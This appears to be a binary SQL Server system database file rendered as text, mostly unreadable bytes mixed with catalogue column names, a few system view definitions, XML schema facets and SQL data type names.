		D		{:u8u8uUh<I`5-	)<[.$Qw%0-,00alock_escalation_option0--hhyis_poison_message_handling_enabled0-.hhMis_filetable0- 00?@mode0- $$G@agent_id0- 00K@agent_type0- 88
K@session_id0- 00S@session_status0- S@monitor_server0- hho@monitor_server_security_mode0- G@database0- 	==G@log_time0- 
==O@log_time_utc0- @E@message-88
0-K@quote_char0-C@string0-88
M@lower_index_id0-f44]encryption_algorithm0-fxxgencryption_algorithm_desc0-f44Sreceives_posted0-fhhiis_receive_flow_controlled0-f44Msends_posted0-fhhcis_send_flow_controlled0-fUtotal_bytes_sent0-f]total_bytes_received0-f]total_fragments_sent0-fetotal_fragments_received0-fKtotal_sends0-fQtotal_receives0-f$$[peer_arbitration_id-0-?@geom0-ŠQtransaction_id0-Šetransaction_sequence_num0-Š[commit_sequence_num0-Š88
Isession_id0-ŠhhKis_snapshot0-Škfirst_snapshot_sequence_num0-Š88
kmax_version_chain_traversed0-Š>>5saverage_version_chain_traversed0-Š	]elapsed_time_seconds0-Š
88
Kpdw_node_id0-ZR88
Arun_id0-ZR<<?stage0-ZR@@Irequest_id0-ZR  Astatus0-ZR==Istart_time0-ZR==Eend_time0-ZR88
Ytotal_elapsed_time0-u"88
Mcomponent_id0-u"88
Kproperty_id0-u"Ophysical_name0-u"Mlogical_name0-$C@server0-$44I@data_type0-$hhK@best_match0-$4GTYPE_NAME0-$44GDATA_TYPE0-$88
KCOLUMN_SIZE0-$4QLITERAL_PREFIX0-$4QLITERAL_SUFFIX0-$4OCREATE_PARAMS0-$hhKIS_NULLABLE0-$hhQCASE_SENSITIVE0-$	88
ISEARCHABLE0-$
hhYUNSIGNED_ATTRIBUTE0-$hhUFIXED_PREC_SCALE0-$hhWAUTO_UNIQUE_VALUE0-$
4SLOCAL_TYPE_NAME0-$44OMINIMUM_SCALE0-$44OMAXIMUM_SCALE0-$$$=GUID0-$4CTYPELIB0-$@4@CVERSION0-$hhCIS_LONG0-$hhIBEST_MATCH-b88
0-b88
C@number0-b88
A@shift0-88
A@objid0-E@postfix0-88
C@indent0-C@ts_col0-E@op_type0-hhC@is_new0-[@primary_key_bitmap0-I@publisher0-C@vendor0-==_@distributortimestamp0-$$S@publisher_guid0- 00?@mode0- $$G@agent_id0- 00K@agent_type0- 88
K@session_id0- 00S@session_status0- S@monitor_server0- hho@monitor_server_security_mode0- G@database0- 	==G@log_time0- 
==O@log_time_utc0- @E@message@;VeAFIX
V:`>-`)=
9K0-=name0-88
9id0-?xtype0-44;uid0-44=info0-88
Astatus0-88
Sbase_schema_ver0-88
Ereplinfo0-	88
Iparent_obj0-
==Acrdate0-44Cftcatid0-88
Ischema_ver0-
88
Ustats_schema_ver0-=type0-44Euserstat0-44Csysstat0-44Eindexdel0-==Crefdate0-88
Cversion0-88
Cdeltrig0-88
Cinstrig0-88
Cupdtrig0-88
Cseltrig0-88
Ecategory0-44?cache0-88
Gobject_id0-=name0-88
Gcolumn_id0-00Qsystem_type_id0-88
Muser_type_id0-44Imax_length0-00Gprecision0-00?scale0-	Qcollation_name0-
hhKis_nullable0-hhQis_ansi_padded0-hhOis_rowguidcol0-
hhKis_identity0-hhKis_computed0-hhOis_filestream0-hhOis_replicated0-hh_is_non_sql_subscribed0-hhYis_merge_published0-hhWis_dts_replicated0-hhSis_xml_document0-88
Wxml_collection_id0-88
Wdefault_object_id0-88
Qrule_object_id0-hhGis_sparse0-hhOis_column_set0-88
Gobject_id0-=name0-88
Mparameter_id0-00Qsystem_type_id0-88
Muser_type_id0-44Imax_length0-00Gprecision0-00?scale0-	hhGis_output0-
hhOis_cursor_ref0-hhWhas_default_value0-hhSis_xml_document0-
bbPPOdefault_value0-88
Wxml_collection_id0-hhKis_readonly0-=name0-88
Gobject_id0-88
Mprincipal_id0-88
Gschema_id0-88
Uparent_object_id0-=type0-xxGtype_desc0-==Kcreate_date0-	==Kmodify_date0-
hhOis_ms_shipped0-hhMis_published0-hh[is_schema_published0-=name0-88
Gobject_id0-88
Mprincipal_id0-88
Gschema_id0-88
Uparent_object_id0-=type0-xxGtype_desc0-==Kcreate_date0-	==Kmodify_date0-
hhOis_ms_shipped0-hhMis_published0-hh[is_schema_published0-
hhOis_replicated0-hhahas_replication_filter0-hh[has_opaque_metadata0-hhkhas_unchecked_assembly_data0-hhWwith_check_option0-hheis_date_correlation_view0-hhWis_tracked_by_cdcPOdefault_value0-88
Wxml_collection_id0-hhKis_readonly0-=name0-88
Gobject_id0-88
Mprincipal_id0-88
Gschema_id0-88
Uparent_object_id0-=type0-xxGtyp";l<-qJSn'N}A

R
QJ

e

	z	)	Z
u8]dHam*aS|3f!P`-=)>>u6=0-00?xprec0-00Axscale0-	44?colid0-
44Cxoffset0-00Abitpos0-00Ereserved0-
44Ccolstat0-88
Ecdefault0-88
Adomain0-44Anumber0-44Ecolorder0-@@Cautoval0-44Aoffset0-88
Kcollationid0-88
Elanguage0-00Astatus0-00=type0-44Eusertype0-Eprintfmt0-44=prec0-88
?scale0-88
Iiscomputed0-88
Iisoutparam0-88
Iisnullable0-Gcollation0- Mtdscollation(convert(binary(2),reverse(substring([refkeys],9,2))),0)))
0(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],11,2))),0)))0 (convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],13,2))),0)))0!(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],15,2))),0)))0"(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],17,2))),0)))0#(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],19,2))),0)))0$(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],21,2))),0)))40%(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],23,2))),0)))0&(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],25,2))),0)))0'(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],27,2))),0)))K0((convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],29,2))),0)))<)(convert(smallint,isnull(convert(binary(2),reverse(substring([refkeys],31,2))),0)))0:sCREATE VIEW syssegments (segment, name, status) AS
	SELECT  0, 'system'     , 0  UNION
	SELECT	1, 'default'    , 1  UNION
	SELECT	2, 'logsegment' , 0
0^tCREATE VIEW sysconstraints AS SELECT
	constid = convert(int, id),
	id = convert(int, parent_obj),
	colid = convert(smallint, info),
	spare1 = convert(tinyint, 0),
	status = convert(int,
			CASE xtype
				WHEN 'PK' THEN 1 WHEN 'UQ' THEN 2 WHEN 'F' THEN 3
				WHEN 'C' THEN 4 WHEN 'D' THEN 5 ELSE 0 END
			+ CASE WHEN info != 0			-- CNST_COLUMN / CNST_TABLE
					THEN (16) ELSE (32) END
			+ CASE WHEN (status & 16)!=0	-- CNST_CLINDEX
					THEN (512) ELSE 0 END
			+ CASE WHEN (status & 32)!=0	-- CNST_NCLINDEX
					THEN (1024) ELSE 0 END
			+ (2048)						-- CNST_NOTDEFERRABLE
			+ CASE WHEN (status & 256)!=0	-- CNST_DISABLE
					THEN (16384) ELSE 0 END
			+ CASE WHEN (status & 512)!=0	-- CNST_ENABLE
					THEN (32767) ELSE 0 END
			+ CASE WHEN (status & 4)!=0		-- CNST_NONAME
					THEN (131072) ELSE 0 END
			+ CASE WHEN (status & 1)!=0		-- CNST_NEW
					THEN (1048576) ELSE 0 END
			+ CASE WHEN (status & 1024)!=0	-- CNST_REPL
					THEN (2097152) ELSE 0 END),
	actions = convert(int,  4096),
	error = convert(int, 0)
FROM sysobjects WHERE xtype in ('C', 'F', 'PK', 'UQ', 'D')
					AND (status & 64) = 0
u(x;388
 uuXnQQQQQ4suuHu$x;duy0Tuvu$x;uu0TvHvullllltype_name9999xvvxtype0`vHv@x;-hhhhhv(000
v====wxv
x;
xtypeƹ0TPwv$x;_____v(



ww(X
tQF4wPw"uniqueidentifier(xw(x;----4DxXxwIIIIIuniqueidentifierx(x$x;tttttlwQhh !!!!xXx)))))xprec||||x0yx@x;-=====0T(000
Lyhhhh`yx
x;
jjjjjxprec????`yy0yXntx0Ty`y$x;|y}(zy$x;11111Rydddd`zy@@@@@OdbcPrec0Tz(zHHHHHxtypez`z@x;-(000
{ {z
x;
xtypeʵh{z$x;z00OOOO ^{ {length{h{@x;-vvvvv0`(044|####(|{x;
lengthJJJJp|{$x;sssss{<{0`44&&&&|(|(((((xprec}}}}0T}p|@x;-w(000
}0}|
x;
xprecZZZZ0Tx}}$x;|D|w000T}0}(X
L}wF88
,~x}$x;}(P~}(x; 88
l~x~~~P~$x;33333m44ffff(x~$x;tn~kkkk88
P~$x;"""""$~~j88
wwww(x;$F44ҧSSSS P(x;9$<(0{
aSKz7p+b`-D)?j0-i44=prec0-i88
?scale0-i88
Iiscomputed0-i88
Iisoutparam0-i88
Iisnullable0-iGcollation0-i Mtdscollation0-j88
Gobject_id0-j44Anumber0-j=name0-j88
Mparameter_id0-j00Qsystem_type_id0-j88
Muser_type_id0-j44Imax_length0-j00Gprecision0-j	00?scale0-j
hhGis_output0-jhhOis_cursor_ref0-jhhWhas_default_value0-j
hhSis_xml_document0-jbbPPOdefault_value0-j88
Wxml_collection_id0-jhhKis_readonly0-k88
Gobject_id0-k=name0-k88
Gcolumn_id0-k00Qsystem_type_id0-k88
Muser_type_id0-k44Imax_length0-k00Gprecision0-k00?scale0-k	hhKis_nullable0-k
hhQis_ansi_padded0-khhOis_rowguidcol0-khhKis_identity0-k
hhKis_computed0-khhOis_filestream0-khhOis_replicated0-khh_is_non_sql_subscribed0-khhYis_merge_published0-khhWis_dts_replicated0-khhSis_xml_document0-k88
Wxml_collection_id0-k88
Wdefault_object_id0-k88
Qrule_object_id0-khhGis_sparse0-khhOis_column_set0-t44;uid0-r44Cgroupid0-r44Kallocpolicy0-r88
Astatus0-rGgroupname0-s44Gmemberuid0-s44Egroupuid0-q44Afileid0-q44Cgroupid0-q88
=size0-q88
Cmaxsize0-q88
Agrowth0-q88
Astatus0-q88
=perf0-q=name0-q	Efilename0-l4Qcomponent_name0-lKschema_name0-lKobject_name0-l00?state0-l=type0-r44Kallocpolicy0-r88
Astatus0-rGgroupname0-u=name0-u00?xtype0-u00Astatus0-u44Gxusertype0-u44Alength0-u00?xprec0-u00Axscale0-u88
Etdefault0-u	88
Adomain0-u
44;uid0-u44Ereserved0-u88
Kcollationid0-u
44Eusertype0-uhhEvariable0-uhhIallownulls0-u00=type0-uEprintfmt0-u44=prec0-u00?scale0-uGcollation0-z88
9id0-z88
Astatus0-z?first0-z44?indid0-z=root0-z44Aminlen0-z44Akeycnt0-z44Cgroupid0-z	88
Adpages0-z
88
Ereserved0-z88
=used0-zArowcnt0-z
88
Growmodctr0-z00Greserved30-z00Greserved40-z44Cxmaxlen0-z44Cmaxirow0-z00QOrigFillFactor0-z00KStatVersion0-z88
Greserved20-s44Gmemberuidn)h'`FIS&k*g&Rk

b

a
R
i

	~	3	dBY
`D]Kn%`C6.(@p	@q+<ef6<0
6<8
6<8	
6<8


6<b
6<@
6@0
6@8
6@
6@8	
6@

6@8
6@=
6@==
6>
6>8	
6>8

6>8
6>8
6>8
6>8 
6>$
6>		>,	
6>

84

6>88
6><
6>

D

6>L
6>T
6>\
6?
6?8	
6?8

6?8
6?8
6?
6?8$
6?(
6?		0	
6?

8

"D		"D

"D"D"D

"D"D"D"D"D"D"D@"E"E"E"E"E"E"E"G"G"G"G"H"H"H"H"H"I"I"I"I"I"I"I"I"I		"I

"I"I"I

"I"I"I"I"I"I"I8"I"I"I8"I"I"I"J"J"J"J"J"J"Ki"Ki"Ki"Ki"Ki"Ki"L"L"L"L"L"L"L"L"L		"L


"L
"L"L

"L"L"L
"L
"L
"L
"L
"L
"L
"L"L"L
"L
"L
"L"L
"L"L"N"N"N"N"N"Z]"Z]"Z]"Z]@"[]"[]"[]"[]"[]"[]"[]"[]"[		]"[

"["[@"\c"\f"\c"\c"\e@"]"]"]"]"]"]"]@"^"^"^ "^"^@"^"_"_"_ "_"_"_"_"_"AjE gBd?a<^9[6}X3zU0wR-tO*qL'nI$kF!hCe@



b
=

_:\7


~
Y
4

			{	V	1		xS.	KuP+rM(Rj06	Nf,~D
\"t:H`6`AA!:t;68
68
68	
68

68
68
6
68$
6		8(	
68
6
68
68
6
60
68
68
68	
68

68
68
68
6$
6
68
68
68
6
6$
68"
68&
6
68
68
6
8
68
60
60
68
68
6		8	
6




6

6

"
6



,

6
$6
68F
6
J
6
T
6
^
6

h
6
r
6

|
6

6$
6=
6

6

6

6$
6

6
6$
68
68
68
6
6=
6=
6!
68)
6		-	
6

5

60=
60>
6

8?

6C
68K
68
68
6
68
68
68
68
68
68
68
68
68
68
68
68	
68
68
60
60
6		8	
6

8"

68&
6
6



6
*
6
4
6$>
68N
6
R
6
\
6
f
6
p
6
z
6

6

6$
6=
6

6

6

6$
6

6   
6!!$!
6	0
6	
6	


6	8
6	b
6	@
[6}X3zU0wR-tO*^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
Vn4Ld*|BZ r8Ph\"t:.FRj&x>0H`6DDBq"6y0
6y8
6y8	
6y8


6y8
6y
6y
6":
8
6":

6":
8
6":
0
6""#8

6":

6":
8
6":
0
6"		
8	
6"

:
=

6"=$
6"
8,
6)R8
6)R4
6)R8

6)R
6)/R0
6)/R8
6)/R4
6)/R0
6)		/R0	
6)

fR8

6)8
6)/R4
6)

!R8!

6)R8%
6)R8)
6)$R@
6,0
6,8
6,
6,8	
6,8

6,8
6,=
6,=
6-8
6-4
6-4

6-4
6-
6*8
6*
6*U
6*8
6*
6*=

6*=
6*
6*			
6*



6+8
6+
6+
6+
6+8
6+=
6+
6+8
6+		8	
6+

8

62"=!
62"8)
62

"8-

630
638
638	
63
630

638
634
630
63		0	
63

8

638
638
668
668
664
668
668
660
660
660
66		8	
66

8

66
67y8
67y8
67y8	
67y8
67y8
67y0
67y0
670
688
684
680
680	
684

68
684
684
68		8	
68

8

688 
68
68



684
684
684
684
688$
680(
680)
608
608
604
608
60=
60@
6/8
6/4
6/8
6/8
6/=
6-8
6-4
6-4

6-4
2


J



X

		p	6	NTl2


J

b(z@f,~D
\"t:Rj0H`D6@CAJ
6:0
6:8
6:8	
6:
6:8

6:
6:8
6:=
6:		=	
6;0
6;8
6;8	
6;8


6;8
6;
6;
	)1 4)1bP)2 8
)2 8
)2 4)2 0)2 4
)2 0)2 0)2 8
)2	 8
	)2
 =
)2 =!)2 8
))2
 8
-
)3 0)3 8
)3 8
	)3)3 0
)3 8
)3 4)3 0)3	 0	)3
 8

)3 8
)3 8
)6 8
)6 8
)64)6 8
)6 8
)6 0)6 0)6 0)6	 8
	)6
 8

)6 )7 8
)7 8
)7 8
	)7 8
)7 8
)7 0)7 0): 0): 8
): 8
	): ): 8

): ): 8
): =):	 =	)< 0)< 8
)< 8
	)< 8


)<bP)<)@ 0)@ 8
)@ 4)@ 8
	)@ 
)@ 8
)@ =)@ =)A 0)A 8
)A 8
	)A 8


)A )C 8
)C 4)C 8
)C)C 8
)D $)D h)D)D)D)D)D)D )D		)D
 8

)D 8
!)D =%)D
=-
)D 8
5)D $9)D 4I)D 4K)D 0M)D 8
N)D)E 8
)E 4)E)E)E)E)E=)G $)G 8
)G 8
)G 8
)H $)H $)H 0$)H %)H -)I $)I 0)I $)I %)I 8
-)I 8
1)I 5)I =7)I	 8
?	)I
 8
C
)I $G)I W)I
 _
)I g)I o)I 8
w)I ={)I =)I 8
)I 8)I $)I 8
)I 8)I $)I )I)A 8
S&rEd7
V)uHg:
Y,xKj=\/{N!m@_2~Q$pC


b
5

T'sF


e
8

			W	*	vIh;Z-yLk>]0Rj0H`B6C_\	D?;*!6.8
6.
6.t
6.
6. 
6.	
6.

6.@
6.		
8
	
6.

=

6/8
6/
6/8
6/8
6/=
608
608
60
608
60=
60@
610
618
618	
61
61b
62"8
62"8
62"
62"0
62"4

62"0
62"0
62)8
62		"8	
62

"=

62"=!
62"8)
62

"8-

630
638
638	
63
630

638
634
630
63		0	
63

8

638
638
66:8
66:8
66:
66|8
66<8
66:0
66:0
66:0
66		8	
66

8

66
678
678
678	
678
678
670
670
670
688
68
680
680	
684

68
684
684
68		8	
68

8

688 
68
68



68
68
68
68
688$
680(
680)
698
69
69
69
698
r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`V6F8E-E6 @
6 @
6 @
6 =
6 =
6 =
6 =
6 8$
6 			
6 

H

6 8(
6 @
6!@
6!8
6!
6!@
6!@
6!@
6!H
6!=
6!		=	
6!

8

6!
6!@
6"@
6"8
6"8
6"8
6"@
6"H
6"=
6"=
6"		8 	
6"

$

6"8,
6"@
6#H
6#
6#
6#=
6#8
6#@
6#@
6#8
6#		8	
6#

@

6$
6$@
6$
6$
6$
6$H
6$=
6$=
6$		d	
6$

8

6%@
6%8
6%8
6%8
6%8
6%@
6%@
6%
6%			
6%

$

6%=,
6%=4
6%

8<

6%@
6%8H
6%8L
6%8P
6%8T
6%H
6%@
6%@
6%@
6&8
6&
6&=
6&=
6&=
6&8 
6& 
6& 
6&			
6&



6&8$
6&@
6&

@

6& 
6&8(
6&@
6&,
6&4
6&<
6'8
6'<
6'@
6' 
6'=
6'=
6'8
6(8
6(@
6(@
6(@
6(h
6)8
6)8
6)
6)
6)
6)
6)$
6),
6)		4	
6)

<

6)hD
6)=E
6)

=M

6)H
6*8
6*
6*
6*
6*
6* 
6*(
6+8
6+8
6+@
6+8
H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`E6G8F/t6,8
6,8
6,@
6-8
6-8
6-8
6-8
6-8
6-8
6-8
6-8 
6.x
6.H
6.=
6.8
6.8
6.8
6.8
6.@
6.			
6.



6.8
6/x
6/@
6/8
608
608
608
60
608
60=
60@
60@
60			
60

$

618
61
61
61
61j&

61*
628
62
638
638
63
648
648
64
64
64h
658
658
65
65
668
668
66
66@
66@
66@
66
66
66		@	
66

h

678
678
678
67
67
67=
688
688
68
688
68H
68
68
68=
698
69
69
69
69
69@
69=
69=
6:
6:@
6:h
6:
6:8
6:8	
6;
6;
6;h
6<
6<
6=8
6=8
6=
6=8
6=
6>8
6>8
6>0
6?8
6?0
6?x
6@8
6@
6A8
6A8
6A
6B8
6B
6C8
6C8
6C
6C8
6CH
6C
6C
6C=
6D
6D
6D0
6D=
6Dh

6D4
6D4
6D
6D			
6D



H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`F6g|Gc3(?O;Pd6D8
6D=
6D

j

6Dj+
6Dj8
6DjE
6DjR
6D=_
6D=g
6D4o
6D4q
6D8s
6D8w
6D4{
6D8}
6D8
6D8
6D8
6D
6D8
6D
6D   
6D!!!
6D"""
6D##h
#
6D$$h
$
6D%%h
%
6D&&h
&
6D''h
'
6D((h
(
6D))h
)
6D**h*
6D++h+
6D,,h,
6D---
6D..j.
6D//x/
6D00j0
6D111
6D22x2
6D333
6D444
6E8
6E8
6E 
6E=
6E=
6E8
6E8 
6G 0
6G 8
6G 0	
6G 
6G 
6G 4

6G 4
6G h
6G		 h	
6G

 h

6G 0
6G 8
6G

 8

6G 8
6G @
6G @
6G 8
6G 0 
6I
4
6I
4
6I
 
6KL0
6KL0
6KL4
6KL0
6KL8	
6KL
6KL4

6KL8
6K	L4	
6K	
L4

6K
L8
6KL 
6K
L 

6K
L4
6KL4
6KL4
6KL4!
6KL
6KL0#
6KL4$
6KL4&
6L8
6L<
6L
6M8
6M<
6M
6N
6N8
6N
6O
6O8
6O
6J

L4

6JL4
6JL4
6JL4
6JL4!
6JL
6JL0#
6JL4$
6JL4&
6KL0
6KL0
6KL4
6KL0
6KL8	
6KL
6KL4

6KL8
6K	L4	
6K	
L4

6K
L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ay9fezt"?aO?q>r˰t[IZ8}E|_ZKZt{
9J4>*
J>\:?fkXqd x?貽;g$w3=}RM}{ui\#Pk]7+
'xpx@X=[
[4eU5z
9xW&WM.m.]1C:6#Ncp:ýF;ýgL0H3p3z:roToE%xğ3ye=N/~lb_y;]y=5^XlMl,~A.jnЉHœXwP*+4)n<t
K݆*1J5J*lWJ㼛0`A%9G@p9aV.9<%nݩK:`3-=U	
5w񻄧
J=B,Vʯ[t{:+k#o_0pgZFbly9|þ$H%%~qdWJ=0#	zm`SF9,vi\OB5(reXK>1$
{naTG:- wj]PC6)sfYL?2%|obUH;.!xk^QD7*tgZM@3&}pcVI</"yl_RE8+uh[NA4'
~qdWJ=0#	









z
m
`
S
F
9
,



vi\OB5(reXK>1$










{
n
a
T
G
:
-
 


										w	j	]	P	C	6	)				sfYL?2%|obUH;.!xk^QD7*tgZM@3&}pcVI</"yl_RE8+uh[NA4'
~qdWJ=0#	zm`) I*6	(modify_date6name6$object_id62parent_object_id6*principal_id6$schema_id6type6$type_desc6(database_id6,register_date6,registered_by6 version6"group_id64internal_group_id6(create_date6(modify_date6 pool_id60processor_group6.scheduler_mask6(database_id6<non_transacted_access6Fnon_transacted_access_desc6.directory_name_class64parent_class_desc6$parent_id6(create_date6(modify_date6*service_name6	0broker_instance6
(creator_sid6*principal_id6$object_id6type6$type_desc62is_trigger_event62event_group_type6<event_group_type_desc6$object_id6type6$type_desc62is_trigger_event6"is_first6 is_last62event_group_type6<event_group_type_desc6$object_id6&definition60uses_ansi_nulls6>uses_quoted_identifier6@execute_as_principal_id6$object_id6(assembly_id6.assembly_class60assembly_method6@execute_as_principal_id6name6(endpoint_id6*principal_id6"protocol6,protocol_desc6state6	&state_desc6
4is_admin_endpoint6name6(endpoint_id6*principal_id6"protocol6,protocol_desc6type6$type_desc6state6	&state_desc6
4is_admin_endpoint6site6"url_path6
<is_clear_port_enabled6&clear_port68is_ssl_port_enabled6"ssl_port6:is_anonymous_enabled6<is_basic_auth_enabled6>is_digest_auth_enabled6Bis_kerberos_auth_enabled6:is_ntlm_auth_enabled6Fis_integrated_auth_enabled68authorization_realm6:default_logon_domain6>is_compression_enabled6name6(endpoint_id6*principal_id6"protocol6,protocol_desc6type6$type_desc6state6	&state_desc6
4is_admin_endpoint6port60is_dynamic_port6
&ip_address6name6(endpoint_id6*principal_id6"protocol6,protocol_desc6type6$type_desc6state6	&state_desc6
4is_admin_endpoint6,discriminator6name6(endpoint_id6*principal_id6"protocol6,protocol_desc6type6$type_desc6state6	&state_desc6
4is_admin_endpoint6@is_sql_language_enabled6Bwsdl_generator_procedure6
2default_database64default_namespace6<default_result_schema6Fdefault_result_schema_desc6@is_xml_charset_enforced66is_session_enabled60session_timeout6&login_type6*header_limit6name6(endpoint_id6*principal_id6"protocol6,protocol_desc6type6$type_desc6state6	&state_desc6
4is_admin_endpoint6Lis_message_forwarding_enabled6@message_forwarding_size6
0connection_auth6:connection_auth_desc6.certificate_id6:encryption_algorithm6Dencryption_algorithm_desc6name6(endpoint_id6*principal_id6"protocol6,protocol_desc6type6$type_desc6state6	&state_desc6
4is_admin_endpoint6role6$role_desc6
<is_encryption_enabled60connection_auth6:connection_auth_desc6.certificate_id6:encryption_algorithm6Dencryption_algorithm_desc6(endpoint_id6$namespace6*method_alias6(object_name6,result_schema66result_schema_desc6,result_format66result_format_desc6"group_id6name6&replica_id64internal_group_id6(create_date6(modify_date6 pool_id60processor_group6.scheduler_mask6(database_idb>$Jr":ZBF$zpH`F"`J#"0WS'preserve0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0 WS'collapse0!WS'collapse0dWS%replace0eWS'collapse0fPTY[a-zA-Z]{1,8}(-[a-zA-Z0-9]{1,8})*0gPT!\i\c*0hPT9[\i-[:]][\c-[:]]*0lPT\c+0mDF00nIX00oIX-10pIN?-92233720368547758080pIX=92233720368547758070qIN--21474836480qIX+21474836470rIN#-327680rIX!327670sIN-1280sIX1270tIN00uIX?184467440737095516150vIX+42949672950wIX!655350xIX2550yIN10LN10LN10LN10EU%default0EU'preserve0,EU#BigInt0,EU#Binary0,EUBit0,EUChar0,EU'DateTime0,EU%Decimal0,EU!Float0,EU!Image0,	EUInt0,
EU!Money0,EU!NChar0,EU!NText0,
EU'NVarChar0,EUReal0,EU1SmallDateTime0,EU'SmallInt0,EU+SmallMoney0,EU%Variant0,EUText0,EU)Timestamp0,EU%TinyInt0,EUUdt0,EU7UniqueIdentifier0-EU%Default0-EUNone0-EU+IgnoreCase0-EU3IgnoreNonSpace0-EU3IgnoreKanaType0-EU-IgnoreWidth0-EU+BinarySort0-EU-BinarySort208LX80DPTg((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))T(([01][0-9])|(2[0-3]))(:[0-5][0-9]){2}(\.[0-9]{2}[037])?0DIXE9999-12-31T23:59:59.9970DINE1753-01-01T00:00:00.0000EPTG((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))T(([01][0-9])|(2[0-3]))(:[0-5][0-9])(:00)0EIX=2079-06-06T23:59:000EIN=1900-01-01T00:00:000FDT190FDF40FIX?922337203685477.58070FINA-922337203685477.58080GDT100GDF40GIX-214748.36470GIN/-214748.36480HPTU([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})|(\{[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\})0,EU)VarBinary0,EU%VarChar0,EUXml0JPT((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))0JIX+9999-12-310JIN+0001-01-010KPTy(([01][0-9])|(2[0-3]))(:[0-5][0-9]){2}(\.[0-9]+)?0KIN'00:00:000LPTY((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))T(([01][0-9])|(2[0-3]))(:[0-5][0-9]){2}(\.[0-9]+)?0LIN=0001-01-01T00:00:000MPT((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))T(([01][0-9])|(2[0-3]))(:[0-5][0-9]){2}(\.[0-9]+)?(([+-]((((0[0-9])|(1[0-3]))(:[0-5][0-9]))|14:00))|Z)0MIN?0001-01-01T00:00:00Z0,EUDate0,EUTime0,EU)DateTime20,EU3DateTimeOffset0NPTO/((-?[0-9]+)(\.-?[0-9]+)*/)*0,EU-HierarchyId0EU%TimeOut0EU=MemoryLimitExceeded0EU=GoodEnoughPlanFound0OEU'EQUALITY0OEU+INEQUALITY0OEU%INCLUDE0bEUHeap0bEU)Clustered0bEU9FTSChangeTracking0bEU+FTSMapping0bEU/NonClustered0bEU+PrimaryXML0bEU/SecondaryXML0bEU%Spatial0b	EU1ViewClustered0b
EU7ViewNonClustered0bEU/SelectiveXML0bEUASecondarySelectiveXML0EUADD0EU%BIT_ADD0EU%BIT_AND0EU-BIT_COMBINE0EU%BIT_NOT0EU#BIT_OR0EU%BIT_XOR0EUDIV0	EUHASH0
EU!MINUS0EUMOD0EUMULT0
EUSUB0EU)BINARY IS0EU)BOTH NULLHASH0."qT5sN!yJc4	c8r\&J]

%T!


E{\p{
^
9

			z	I	*		bAsL'ZW*zaDjE[4
qJ#`1"2	K01TT
?xml01TT
Ebigint01@TT
Ebinary01hhTT
?bit01@TT
Achar01==TT
Idatetime01jj&&TT
Gdecimal01>>5TT
Cfloat01""TT
Cimage0188
TT
?int01<<TT
Cmoney01@TT
Cnchar01ccTT
Cntext01ll&&TT
Gnumeric01@TT
Invarchar01;;TT
Areal01::TT
Ssmalldatetime0144TT
Ismallint01zz
TT
Msmallmoney01bbPTT
Osql_variant01TT
Gsysname01##TT
Atext01TT
Ktimestamp0100TT
Gtinyint01$$TT
Yuniqueidentifier01@TT
Kvarbinary01@TT
Gvarchar01((
((
Adate01))((
Atime01**((
Kdatetime201++
"((
Udatetimeoffset01|((
Ohierarchyid01((
Igeometry01((
Kgeography`AXhC	F	4)9WW|
